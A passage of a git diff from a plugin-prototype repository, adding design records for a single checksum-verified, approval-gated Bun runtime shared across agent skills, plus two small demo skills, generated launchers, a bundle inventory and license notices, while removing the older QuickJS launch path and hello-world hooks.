+sub-choice made per tool by what the tool is written in: + +- **Bun** when the tool is TypeScript/JavaScript and wants the same authoring + stack as the QuickJS tier (shared `runtime/src/`, one language). +- **Python** when the tool is Python-native; bootstrap a pinned Python/`uv` + instead. Larger and with its own packaging model (wheels, venvs), but no + rewrite. + +Do not force a Python tool onto Bun (or vice versa) to unify the runtime — +the bootstrap rails already absorb either. Pick the runtime the tool is +written in; the distribution machinery does not care. + +**Runtime implementation is distribution-neutral.** Bun's stable series is +built in Zig on JavaScriptCore; a Zig-to-Rust rewrite (announced July 2026, +memory-safety motivated) is in the canary channel but not yet the default. +From the plugin-rails perspective this changes nothing: Bun is a single +self-contained ~60 MB binary either way, and the tier boundary, bootstrap +cost, and OS-capability answer are unaffected by the implementation +language. The only consequence is operational — a Zig-built and a Rust-built +Bun are different binaries with different checksums, so the pinned-runtime +manifest must stay version-exact across that transition (it already is). +On the Python side, `uv` (itself Rust) is the tool that de-risks the +dependency story: it makes bootstrapping a pinned Python plus its wheels +fast and reproducible, softening Python's venv/PEP-668 friction. + +## Consequences + +- Zero-install-and-offline is preserved for the QuickJS tier. The + OS-integrated tier becomes zero-install-after-first-warm: the first run + fetches the pinned runtime (Bun or Python), and offline-first fails until + warmed. +- The first-run fetch downloads an executable/toolchain; it must be + checksum-pinned per platform (mirroring `quickjs-assets.json`) and the + fetch is a trust boundary. A doctor command must surface runtime custody + and repair paths. +- The publishing-hardening machinery does not change: it carries a + bootstrapping OS-integrated plugin unmodified, Bun or Python. Only the + payload's runtime marker and launcher differ. +- The QuickJS host-shim layer (in `runtime/src/`) supplies the missing Web + globals (`crypto.getRandomValues`, `TextEncoder`/`TextDecoder`, timers). + Any shimmed library must pass the four-platform distribution proof, and a + `crypto` shim must bridge to real entropy (e.g. `/dev/urandom` via + `qjs:std`) — never `Math.random`, which silently makes `nanoid`/`uuid` + identifiers predictable. +- The OS-integrated tier does **not** need a QuickJS-style four-platform + runtime proof: it does not ship the runtime, so runtime portability belongs + to Bun/Python, not this template. The template-owned check is instead a + **self-proving bootstrap** — an executable proof that resolves, installs to + a clean cache, checksum-verifies, runs the skill on the cached runtime, and + fails closed on a tampered checksum. The prototype demonstrates this: it + proves the mechanism by running it, not by documenting steps. + +## Follow-up + +- Author the QuickJS host-shim layer, gated by `prove:distribution` on all + four targets. +- Productionize the OS-integrated bootstrap by mirroring + `quickjs-assets.json` for a pinned runtime (Bun and/or Python/`uv`) and + reusing the warm-Chrome custody pattern, with a doctor command and the + self-proving bootstrap check wired into CI. diff --git a/docs/adr/0005-shared-runtime-custody.md b/docs/adr/0005-shared-runtime-custody.md new file mode 100644 index 0000000..4194b7d --- /dev/null +++ b/docs/adr/0005-shared-runtime-custody.md @@ -0,0 +1,89 @@ +# Share one verified Bun runtime across plugin skills + +## Status + +Accepted — 2026-08-05; production contract updated 2026-08-08 after ADR 0006 +made Bun the only runtime. + +## Context + +A plugin can contain many dependency-bearing skills. If each skill owns fetch, +verification, extraction, cache publication, and repair, the same sensitive +bootstrap logic drifts across every launcher. Users also get repeated downloads +and setup instructions. + +## Decision + +One deep `runtime-custody` module owns the complete Bun lifecycle. Every skill +reaches it through a generated launcher and selects only a logical skill id. +No skill supplies a version, URL, digest, cache path, or installer. + +- `runtime-exec` is the sole platform-selection, acquisition, verification, + atomic-publication, revalidation, and execution engine. +- `runtime/runtime.lock.json` is the human-reviewed source for one exact Bun + version and four official target assets. Generated shell data is checked into + the payload. +- `runtime/skill-catalog.json` is the one logical registry mapping skill id to + bundle identity and the Bun profile. +- `plugin/runtime/bundle-inventory.json` owns active digest-named workspace + bundles and third-party notices. +- Generation emits one thin launcher per catalog member. Drift, missing + members, orphan launchers, and mixed-runtime files block packaging. + +The public command surface is deliberately small: + +```text +run -- +repair +repair --apply +``` + +`run` is custody-read-only. A valid digest-addressed runtime is reverified and +executes the selected reverified bundle. Missing or corrupt state returns typed +repair guidance. Repair preview is read-only and network-free. The agent or +native workflow presents the plain-language action and obtains human approval; +only then may it invoke `repair --apply`, the sole acquisition or replacement +operation. + +The shared cache lives in private per-user XDG state. Executables are addressed +by reviewed executable SHA-256, published atomically on the same filesystem, +and reverified before every run. All trusted plugins using the same reviewed +Bun identity can reuse the immutable blob. + +The engine is a small POSIX-shell stage zero using fixed absolute host-tool +candidates. It downloads only an official locked HTTPS asset, verifies archive +and executable bounds and hashes, extracts only the named member, and probes +the exact Bun version before publication. It never runs an upstream installer +or trusts ambient Bun, PATH, bunfig, preload, `.env`, or `node_modules` state. + +## Trust and approval boundary + +The publisher vouches for reviewed bundles and dependencies, which execute +with the user's normal Bun and OS capabilities. Runtime custody verifies the +admitted identity; it is not a sandbox. `repair --apply` carries explicit +mutation intent but does not authenticate a human. The invoking skill or native +client workflow owns the approval and its receipt. + +## Proof + +Repository proof covers missing and corrupt state, preview and apply, +interrupted and concurrent writers, hostile environment, cache permissions, +bundle/runtime tampering, argument pass-through, and shared warm reuse. +Platform CI selects and acquires each of the four reviewed assets, runs a +packaged skill, and proves warm execution with custody network denied. Native +Claude and Codex receipts own discovery and the approval/repair/retry journey; +a named private manual receipt owns the bounded Codex Desktop smoke. + +## Consequences + +- Adding a skill is workspace/bundle work plus a catalog entry and regeneration; + custody logic remains single-owned. +- A Bun identity change is one reviewed lock decision and requires fresh human + approval. Archive-only metadata changes retain the approved executable + identity while still requiring full acquisition verification. +- Cold offline repair returns retry-later guidance and publishes nothing. Warm + verified use works offline. +- The active contract supports Bun only. Another runtime requires a new + decision, not a generic registry or per-skill bootstrap framework. +- There are no lifecycle hooks, prewarm, doctor, inventory, prune, automatic + repair-on-run, or user-managed setup commands. diff --git a/docs/adr/0006-single-bun-runtime-tier.md b/docs/adr/0006-single-bun-runtime-tier.md new file mode 100644 index 0000000..ac55cb6 --- /dev/null +++ b/docs/adr/0006-single-bun-runtime-tier.md @@ -0,0 +1,89 @@ +# One runtime: bootstrap Bun for every plugin + +## Status + +Accepted — 2026-08-06. Supersedes ADR 0004's two-tier model. Keeps ADR 0005 +(shared runtime custody) unchanged — the custody engine becomes the single +path rather than the OS-integrated path. + +## Context + +ADR 0004 split plugins into two runtime tiers: a QuickJS-sandboxed default +(pure logic, plus pure-JS npm via a host-shim layer) and a Bun-OS-integrated +tier (spawn, sockets, filesystem) reached by bootstrapping Bun. The stated +value of the QuickJS tier was a tiny offline payload and, more importantly, an +inability to touch the operating system by construction — a sandbox. + +Two facts, once settled, removed the reasons to keep that split: + +- **Audience is publisher-vouched.** The plugins are distributed as public and + private plugins that a consumer installs because they trust the publisher — + the same trust they extend to any tool they install. This is not an + untrusted-plugin platform, so a runtime that *cannot* touch the OS protects + against a threat the trust model already excludes. The sandbox was the + QuickJS tier's main non-cost advantage; for this audience it is low-value. +- **Isolation belongs at the architecture layer.** When sandboxing is needed, + it is provided by the environment that runs the agent (container, VM, or an + agent-sandbox framework) around the whole process — not by crippling a + per-plugin runtime. Enforcing "can't touch the OS" inside the plugin runtime + solves isolation at the wrong layer and only for the subset of plugins that + happen to be on that tier. + +The remaining QuickJS advantage was payload size, and ADR 0004 already measured +the Bun bootstrap as small: ~22 MB downloaded, ~60 MB cached, ~3.3 s cold, once, +then a cache hit shared across every plugin. That does not justify maintaining a +second runtime, a host-shim layer, four vendored QuickJS binaries, and a second +distribution proof. + +## Decision + +Use one runtime tier. Every plugin — pure logic or OS-integrated — runs on a +bootstrapped Bun via the shared runtime-custody engine (ADR 0005). + +- Retire the QuickJS-NG interpreter, the `runtime/src` host-shim layer, the + vendored `qjs-*` binaries, and the QuickJS-specific distribution proof from + the plugin runtime path. +- A plugin is a normal Bun/TypeScript program. There is no tier decision, no + shim, and no "does this need OS access?" classification. +- Custody is unchanged: one template-wide, version-exact Bun pin; a closed + skill catalog; generated per-skill launchers; one shared + digest-addressed cache; typed run/repair; fail-closed on unknown + skill and checksum mismatch; drift blocked mechanically (ADR 0005). +- **Sandboxing, when required, is an architecture-layer concern.** Run the + agent (and its plugins) inside a container, VM, or agent-sandbox framework. + Do not reintroduce a runtime whose only job is to deny capabilities. + +### Alternatives considered + +- **Keep two tiers** (ADR 0004): a real security boundary for untrusted + plugins on an open platform, but this audience installs publisher-vouched + plugins, so the boundary guards a threat the trust model already excludes, + at the cost of a permanent second runtime. +- **One Bun runtime with a per-plugin capability flag** (restricted Bun/Node + permissions for "pure-logic" plugins): preserves a sandbox without QuickJS. + Rejected as premature — it re-adds a classification and a permission model + for the same low-value threat. It remains the natural first step *if* the + audience later includes untrusted plugins; note it and do not build it now. + +## Consequences + +- One runtime, one mental model, one proof path. Contributors write ordinary + Bun/TS skills; adding a skill is a catalog entry plus regeneration. +- The prototype work is not wasted: the runtime-custody engine (ADR 0005) + becomes *the* path, and the OS-integrated example skills already run on it. + The QuickJS-tier and shim prototypes become historical evidence only. +- Every plugin can touch the OS. That is acceptable for publisher-vouched + distribution and explicitly deferred to architecture-layer isolation + otherwise. If the audience changes to include untrusted plugins, reopen the + capability-flag alternative above. +- ADR 0004's evidence stays valid and citable (QuickJS host-global ceiling, + bundler parity, measured bootstrap cost, Bun-in-Rust and Python/`uv` facts); + only its two-tier decision is superseded. + +## Implemented follow-up + +- The active payload, launchers, proof, and workflows are Bun-only. +- Every catalog skill routes through the POSIX-shell runtime-custody engine and + the real checksum-pinned acquisition path. +- Keep the capability-flag alternative on file against a future untrusted + audience. diff --git a/docs/adr/0007-workspace-authoring-bundled-distribution.md b/docs/adr/0007-workspace-authoring-bundled-distribution.md new file mode 100644 index 0000000..9b3cc76 --- /dev/null +++ b/docs/adr/0007-workspace-authoring-bundled-distribution.md @@ -0,0 +1,88 @@ +# Author in a Bun workspace, ship bundled dependency-free skills + +## Status + +Accepted — 2026-08-06. Complements ADR 0006 (single Bun runtime) and ADR 0005 +(shared runtime custody). Where those decide how the *runtime* reaches the +consumer, this decides how *dependencies* do. + +## Context + +ADR 0006 makes every plugin a bootstrapped-Bun program, and ADR 0005 shares one +runtime across many skills. That solves runtime custody but leaves a separate +cost: each skill has its own dependencies. With ~20 skills, each carrying a +`package.json`, the questions are: how are dependency versions kept consistent, +and what does the consumer have to install? + +Bootstrapping the runtime is cheap and one-time (ADR 0006). Installing +dependencies per consumer is not: it reintroduces network fetches, lockfile +reconciliation across many packages, offline failure, and the Python-style +"present but fighting the package manager" friction — the exact costs the +runtime bootstrap was designed to avoid. + +The repository demonstrates the answer with two isolated workspace members and +one frozen root lock. Each member declares exact dependency versions and the +build admits the resolved pure-JavaScript closure before emitting bundled +artifacts. The runtime skill catalog is a separate owner: it maps logical skill +ids to launchers, bundles, and runtime identity; it is not a dependency-version +catalog. + +## Decision + +Separate authoring from distribution. + +- **Authoring: one Bun workspace.** All skills are workspace members. A + frozen root lock resolves exact member dependencies through Bun's isolated + linker with lifecycle scripts ignored. Dependency admission rejects phantom + dependencies, native artifacts, unresolved peers, and unreviewed lifecycle + behavior. Adding a dependency-bearing skill is adding a workspace member and + a logical runtime-catalog entry. +- **Distribution: per-skill bundles, dependency-free.** Each skill is bundled + (`bun build`) into a self-contained artifact with its dependencies inlined. + The shipped plugin contains bundled entrypoints, never `node_modules`, never + per-skill `package.json` dependencies, and never a consumer-side install + step. This is the pattern browser-use already ships. + +The consumer therefore pays the runtime bootstrap once (ADR 0006) and installs +**zero dependencies, ever**. Dependencies are resolved at author build time, in +the author's workspace, and baked into the artifact. + +### Per-skill vs whole-plugin bundling + +Chosen: **per-skill bundles** — one self-contained artifact per skill, matching +browser-use. Skills stay independently buildable and shippable; the launcher +(ADR 0005 custody engine) selects a skill's bundled entrypoint. + +Rejected: **one whole-plugin bundle** with shared dependencies deduplicated. +It avoids duplicating a shared library across bundles, but couples all skills +into one build and weakens independent shipping. The saving is bundle *size*, +not install *cost* (install cost is already zero), and any duplication is +trivial next to the ~60 MB bootstrapped runtime. Not worth the coupling. + +## Consequences + +- The "20 skills each with a package.json" problem does not exist at + distribution time: none of those `package.json` files or their `node_modules` + ship. They are authoring-time inputs only. +- Consumer install cost is the runtime bootstrap alone. No dependency fetch, no + lockfile reconciliation, no offline-install failure. +- Exact dependency versions and their resolved bytes are governed by member + manifests plus the one frozen root lock. The build admits the complete + resolved closure and generates third-party notices. +- A shared library used by several skills is duplicated across their bundles. + This costs bundle size, not install time, and is negligible against the + runtime. Revisit only if total artifact size becomes a real constraint. +- Bundling is the release-time boundary: the payload walker, checksums, and + distribution proof (from the publishing-hardening work) apply to the bundled + artifacts, not to source or `node_modules`. + +## Implemented follow-up + +- The fixed builder emits one digest-named ESM artifact per workspace skill, + validates the inventory and notices, and rejects stale or orphaned outputs. +- The generated runtime inventory maps each logical catalog skill to its exact + bundle digest; custody executes that bundle, never a source tree or + `node_modules`. +- A workspace skill's `entry` remains required catalog and projection metadata; + execution selects the digest-named artifact from the generated bundle + inventory rather than executing that source-style entry path directly. diff --git a/package.json b/package.json index 14f74fc..47b91e3 100644 --- a/package.json +++ b/package.json @@ -3,6 +3,10 @@ "version": "0.1.1", "private": true, "type": "module", + "packageManager": "bun@1.3.14", + "workspaces": [ + "packages/*" + ], "scripts": { "test": "bun test", "init": "bun run scripts/init.ts", @@ -19,9 +23,8 @@ "prove:distribution": "bun run scripts/prove-distribution.ts", "prove:harness-install": "bun run scripts/prove-harness-install.ts", "prove:dx": "bun run scripts/prove-dx.ts", - "prove:quickjs-ci": "bun run scripts/prove-quickjs-ci.ts", - "prove:all": "bun test && bun run generate:check && bun run release:validate && bun run prove:quickjs-ci && bun run prove:harness-install -- --require-native && bun run prove:dx", - "spike:quickjs": "bun run scripts/quickjs-spike.ts", - "spike:quickjs:ci": "bun run scripts/quickjs-spike.ts --ci" + "prove:runtime-custody": "bun run scripts/prove-runtime-custody.ts", + "prove:runtime-platform": "bun run scripts/prove-runtime-platform.ts", + "prove:all": "bun test --path-ignore-patterns=scripts/runtime-custody-exec.test.ts && bun run generate:check && bun run release:validate && bun run prove:runtime-custody && bun run prove:harness-install -- --require-native --fixture-acknowledged && bun run prove:distribution && bun run prove:dx" } } diff --git a/packages/skill-a/package.json b/packages/skill-a/package.json new file mode 100644 index 0000000..610f33b --- /dev/null +++ b/packages/skill-a/package.json @@ -0,0 +1,11 @@ +{ + "name": "skill-a", + "version": "0.0.0", + "private": true, + "type": "module", + "main": "src/main.js", + "dependencies": { + "camelcase": "8.0.0", + "ms": "2.1.3" + } +} diff --git a/packages/skill-a/src/main.js b/packages/skill-a/src/main.js new file mode 100644 index 0000000..a01b3d2 --- /dev/null +++ b/packages/skill-a/src/main.js @@ -0,0 +1,26 @@ +// ESM-authored skill A. Proves an ESM entry importing one ESM-only dependency +// (camelcase) and one CJS dependency (ms) through Bun's ESM/CJS interop. +import camelcase from "camelcase" +import ms from "ms" + +/** + * Build the dependency-boundary proof emitted by skill A. + * + * @returns {{skill: string, moduleShape: string, esmDependency: string, cjsDependencyMilliseconds: number, sideEffects: string}} One JSON-serializable proof object + * + * @example + * ```js + * skillAProof().esmDependency // "skillAOfflineProof" + * ``` + */ +export function skillAProof() { + return { + skill: "skill-a", + moduleShape: "esm", + esmDependency: camelcase("skill a offline proof"), + cjsDependencyMilliseconds: ms("2h"), + sideEffects: "none", + } +} + +console.log(JSON.stringify(skillAProof())) diff --git a/packages/skill-b/package.json b/packages/skill-b/package.json new file mode 100644 index 0000000..b1827e9 --- /dev/null +++ b/packages/skill-b/package.json @@ -0,0 +1,10 @@ +{ + "name": "skill-b", + "version": "0.0.0", + "private": true, + "main": "src/main.cjs", + "dependencies": { + "kleur": "4.1.5", + "ms": "2.1.3" + } +} diff --git a/packages/skill-b/src/main.cjs b/packages/skill-b/src/main.cjs new file mode 100644 index 0000000..3da8697 --- /dev/null +++ b/packages/skill-b/src/main.cjs @@ -0,0 +1,34 @@ +// CJS-authored skill B. Proves a CJS entry requiring one classic CJS +// dependency (ms) plus one conditional-export boundary: kleur ships dual +// CJS/ESM builds selected through its package.json "exports" map, and this +// require() must resolve the "require" condition. +"use strict" + +const kleur = require("kleur") +const ms = require("ms") + +kleur.enabled = true + +/** + * Build the dependency-boundary proof emitted by skill B. + * + * @returns {{skill: string, moduleShape: string, cjsDependencyDuration: string, conditionalExportDependency: string, sideEffects: string}} One JSON-serializable proof object + * + * @example + * ```js + * skillBProof().cjsDependencyDuration // "2 hours" + * ``` + */ +function skillBProof() { + return { + skill: "skill-b", + moduleShape: "cjs", + cjsDependencyDuration: ms(7_200_000, { long: true }), + conditionalExportDependency: kleur.green("conditional-export-proof"), + sideEffects: "none", + } +} + +module.exports = { skillBProof } + +console.log(JSON.stringify(skillBProof())) diff --git a/plugin.config.json b/plugin.config.json index 1372add..fccfbee 100644 --- a/plugin.config.json +++ b/plugin.config.json @@ -3,7 +3,7 @@ "name": "harness-native-plugin-prototype", "displayName": "Harness Plugin Prototype", "version": "0.1.1", - "description": "Prove native plugin distribution with a Bun-authored portable runtime", + "description": "Dependency-closed skills using a verified, plugin-managed Bun runtime", "author": { "name": "Prototype" }, @@ -11,14 +11,16 @@ "license": "MIT", "keywords": [ "agent-plugin", - "bun", - "quickjs" + "bun" ], "category": "Developer Tools", "shortDescription": "Run a portable plugin skill", - "longDescription": "A portability proof with shared skills and runtime code plus native Claude Code and Codex manifests and hooks.", + "longDescription": "Dependency-closed skills for Claude Code and Codex using one verified, plugin-managed Bun runtime.", "capabilities": [ - "Read" + "Execute verified Bun code", + "Download Bun after approval", + "Write private runtime cache", + "Use network during repair" ], "defaultPrompts": [ "Run the hello-world distribution proof." diff --git a/plugin/.claude-plugin/plugin.json b/plugin/.claude-plugin/plugin.json index 231975f..8249c07 100644 --- a/plugin/.claude-plugin/plugin.json +++ b/plugin/.claude-plugin/plugin.json @@ -3,7 +3,7 @@ "displayName": "Harness Plugin Prototype", "version": "0.1.1", "defaultEnabled": false, - "description": "Prove native plugin distribution with a Bun-authored portable runtime", + "description": "Dependency-closed skills using a verified, plugin-managed Bun runtime", "author": { "name": "Prototype" }, @@ -11,9 +11,7 @@ "license": "MIT", "keywords": [ "agent-plugin", - "bun", - "quickjs" + "bun" ], - "skills": "./skills/", - "hooks": "./hooks/claude/hooks.json" + "skills": "./skills/" } diff --git a/plugin/.codex-plugin/plugin.json b/plugin/.codex-plugin/plugin.json index 84d6bab..3d01d27 100644 --- a/plugin/.codex-plugin/plugin.json +++ b/plugin/.codex-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "harness-native-plugin-prototype", "version": "0.1.1", - "description": "Prove native plugin distribution with a Bun-authored portable runtime", + "description": "Dependency-closed skills using a verified, plugin-managed Bun runtime", "author": { "name": "Prototype" }, @@ -9,19 +9,20 @@ "license": "MIT", "keywords": [ "agent-plugin", - "bun", - "quickjs" + "bun" ], "skills": "./skills/", - "hooks": "./hooks/codex/hooks.json", "interface": { "displayName": "Harness Plugin Prototype", "shortDescription": "Run a portable plugin skill", - "longDescription": "A portability proof with shared skills and runtime code plus native Claude Code and Codex manifests and hooks.", + "longDescription": "Dependency-closed skills for Claude Code and Codex using one verified, plugin-managed Bun runtime.", "developerName": "Prototype", "category": "Developer Tools", "capabilities": [ - "Read" + "Execute verified Bun code", + "Download Bun after approval", + "Write private runtime cache", + "Use network during repair" ], "defaultPrompt": [ "Run the hello-world distribution proof." diff --git a/plugin/QUICKJS-LICENSE b/plugin/QUICKJS-LICENSE deleted file mode 100644 index abafc42..0000000 --- a/plugin/QUICKJS-LICENSE +++ /dev/null @@ -1,24 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2017-2026 Fabrice Bellard -Copyright (c) 2017-2024 Charlie Gordon -Copyright (c) 2023-2026 Ben Noordhuis -Copyright (c) 2023-2026 Saúl Ibarra Corretgé - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/plugin/THIRD-PARTY-NOTICES.md b/plugin/THIRD-PARTY-NOTICES.md new file mode 100644 index 0000000..2c68e9d --- /dev/null +++ b/plugin/THIRD-PARTY-NOTICES.md @@ -0,0 +1,63 @@ +# Third-Party Notices + +Generated from bun.lock. Edit workspace dependencies, run bun install, then bun run build. + +## camelcase@8.0.0 (MIT) + +MIT License + +Copyright (c) Sindre Sorhus (https://sindresorhus.com) + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +## kleur@4.1.5 (MIT) + +The MIT License (MIT) + +Copyright (c) Luke Edwards (lukeed.com) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + +## ms@2.1.3 (MIT) + +The MIT License (MIT) + +Copyright (c) 2020 Vercel, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/plugin/bin/hello-world b/plugin/bin/hello-world index d9ed517..d4bcfc3 100755 --- a/plugin/bin/hello-world +++ b/plugin/bin/hello-world @@ -1,26 +1,9 @@ #!/bin/sh +# Generated from runtime/skill-catalog.json. Edit the source, then run bun run generate. set -eu - -script_dir=$(CDPATH='' cd -- "$(dirname -- "$0")" && pwd) -plugin_root=$(CDPATH='' cd -- "$script_dir/.." && pwd) - -case "$(uname -s):$(uname -m)" in - Darwin:arm64) - asset="qjs-darwin-arm64" - ;; - Darwin:x86_64) - asset="qjs-darwin-x86_64" - ;; - Linux:aarch64|Linux:arm64) - asset="qjs-linux-aarch64" - ;; - Linux:x86_64) - asset="qjs-linux-x86_64" - ;; - *) - echo "hello-world: unsupported platform $(uname -s)/$(uname -m)" >&2 - exit 1 - ;; +case "$0" in +*/*) launcher_dir=${0%/*} ;; +*) launcher_dir=. ;; esac - -exec "$plugin_root/runtime/$asset" --std "$plugin_root/runtime/hello-world.js" "$@" +plugin_root=$(CDPATH='' cd -- "$launcher_dir/.." && pwd -P) +exec "$plugin_root/runtime/runtime-exec" run hello-world -- "$@" diff --git a/plugin/bin/skill-a b/plugin/bin/skill-a new file mode 100755 index 0000000..8f981de --- /dev/null +++ b/plugin/bin/skill-a @@ -0,0 +1,9 @@ +#!/bin/sh +# Generated from runtime/skill-catalog.json. Edit the source, then run bun run generate. +set -eu +case "$0" in +*/*) launcher_dir=${0%/*} ;; +*) launcher_dir=. ;; +esac +plugin_root=$(CDPATH='' cd -- "$launcher_dir/.." && pwd -P) +exec "$plugin_root/runtime/runtime-exec" run skill-a -- "$@" diff --git a/plugin/bin/skill-b b/plugin/bin/skill-b new file mode 100755 index 0000000..4c575a6 --- /dev/null +++ b/plugin/bin/skill-b @@ -0,0 +1,9 @@ +#!/bin/sh +# Generated from runtime/skill-catalog.json. Edit the source, then run bun run generate. +set -eu +case "$0" in +*/*) launcher_dir=${0%/*} ;; +*) launcher_dir=. ;; +esac +plugin_root=$(CDPATH='' cd -- "$launcher_dir/.." && pwd -P) +exec "$plugin_root/runtime/runtime-exec" run skill-b -- "$@" diff --git a/plugin/hooks/claude/hooks.json b/plugin/hooks/claude/hooks.json deleted file mode 100644 index d84ce8d..0000000 --- a/plugin/hooks/claude/hooks.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "hooks": { - "SessionStart": [ - { - "matcher": "*", - "hooks": [ - { - "type": "command", - "command": "\"$CLAUDE_PLUGIN_ROOT/bin/hello-world\" hook --harness claude --event SessionStart", - "timeout": 10 - } - ] - } - ], - "Stop": [ - { - "matcher": "*", - "hooks": [ - { - "type": "command", - "command": "\"$CLAUDE_PLUGIN_ROOT/bin/hello-world\" hook --harness claude --event Stop", - "timeout": 10 - } - ] - } - ] - } -} diff --git a/plugin/hooks/codex/hooks.json b/plugin/hooks/codex/hooks.json deleted file mode 100644 index 6de6823..0000000 --- a/plugin/hooks/codex/hooks.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "hooks": { - "SessionStart": [ - { - "matcher": "*", - "hooks": [ - { - "type": "command", - "command": "\"${PLUGIN_ROOT}/bin/hello-world\" hook --harness codex --event SessionStart --plugin-version 0.1.1 # x-release-please-version", - "timeout": 10, - "statusMessage": "Running portable plugin hook" - } - ] - } - ], - "Stop": [ - { - "hooks": [ - { - "type": "command", - "command": "\"${PLUGIN_ROOT}/bin/hello-world\" hook --harness codex --event Stop --plugin-version 0.1.1 # x-release-please-version", - "timeout": 10 - } - ] - } - ] - } -} diff --git a/plugin/runtime/bundle-inventory.json b/plugin/runtime/bundle-inventory.json new file mode 100644 index 0000000..c5604e6 --- /dev/null +++ b/plugin/runtime/bundle-inventory.json @@ -0,0 +1,25 @@ +{ + "schemaVersion": 1, + "bundles": { + "hello-world": { + "path": "runtime/hello-world.js", + "bytes": 995, + "sha256": "aedde54417e663d86bb183dda8115095c48e53a9e9fc91d8b0d4dec4b09e6202" + }, + "skill-a": { + "path": "runtime/skill-a-27cb243179e5c93d.js", + "bytes": 7838, + "sha256": "27cb243179e5c93dc6d7c5730b483fcbf4adf82def672dddca476594a3e4bf80" + }, + "skill-b": { + "path": "runtime/skill-b-535431fb5dd1ed0a.js", + "bytes": 6422, + "sha256": "535431fb5dd1ed0a30a02105818a77bcbcadfa4395b029f614fe4283a7346ec7" + } + }, + "notices": { + "path": "THIRD-PARTY-NOTICES.md", + "bytes": 3494, + "sha256": "20b5719200371f8eae2220d821df7702ec2bc1902fedcde443eb7228a9388b45" + } +} diff --git a/plugin/runtime/bundle-inventory.sh b/plugin/runtime/bundle-inventory.sh new file mode 100644 index 0000000..61249bd --- /dev/null +++ b/plugin/runtime/bundle-inventory.sh @@ -0,0 +1,22 @@ +#!/bin/sh +# Generated from bundle-inventory.json by scripts/build.ts. Edit workspace sources, then run bun run build. +runtime_inventory_select_bundle() { + case "$1" in + 'hello-world') + RUNTIME_BUNDLE_PATH='runtime/hello-world.js' + RUNTIME_BUNDLE_BYTES='995' + RUNTIME_BUNDLE_SHA256='aedde54417e663d86bb183dda8115095c48e53a9e9fc91d8b0d4dec4b09e6202' + ;; + 'skill-a') + RUNTIME_BUNDLE_PATH='runtime/skill-a-27cb243179e5c93d.js' + RUNTIME_BUNDLE_BYTES='7838' + RUNTIME_BUNDLE_SHA256='27cb243179e5c93dc6d7c5730b483fcbf4adf82def672dddca476594a3e4bf80' + ;; + 'skill-b') + RUNTIME_BUNDLE_PATH='runtime/skill-b-535431fb5dd1ed0a.js' + RUNTIME_BUNDLE_BYTES='6422' + 